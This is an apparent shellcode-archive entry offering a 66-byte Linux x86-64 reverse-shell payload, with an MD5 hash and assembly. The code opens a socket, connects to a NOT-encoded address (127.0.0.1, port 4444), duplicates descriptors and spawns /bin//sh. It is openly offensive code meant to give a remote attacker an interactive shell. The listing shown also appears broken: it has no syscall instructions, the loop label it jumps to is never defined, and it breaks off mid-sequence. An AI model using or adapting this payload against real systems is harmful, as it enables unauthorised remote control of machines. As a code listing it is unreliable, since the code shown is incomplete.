Linux Reverse Shell Shellcode

66 bytes small Linux reverse shell shellcode.

MD5 | 0acba259ef5612679aaf8c860f3712db

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global _start
section .text
; Socket
push 41
pop rax
push 2
pop rdi
push 1
pop rsi
; Connect
xchg edi, eax
push rdx
mov rbx, 0xfeffff80a3eefffd ; not encoded 0x0100007f5c110002
not rbx
push rbx
mov al, 42
push rsp
pop rsi
mov dl, 16
; Dup 2
push 3
pop rsi
mov al, 33
dec esi
loopnz dup2loop
; Execve
; rax and rsi are zero from the result of the last dup2 syscall and loop
push rax ; zero terminator for the following string that we are pushing

mov rbx, '/bin//sh'
push rbx

; store /bin//sh address in RDI
push rsp
pop rdi

cdq ; zero rdx

mov al, 59

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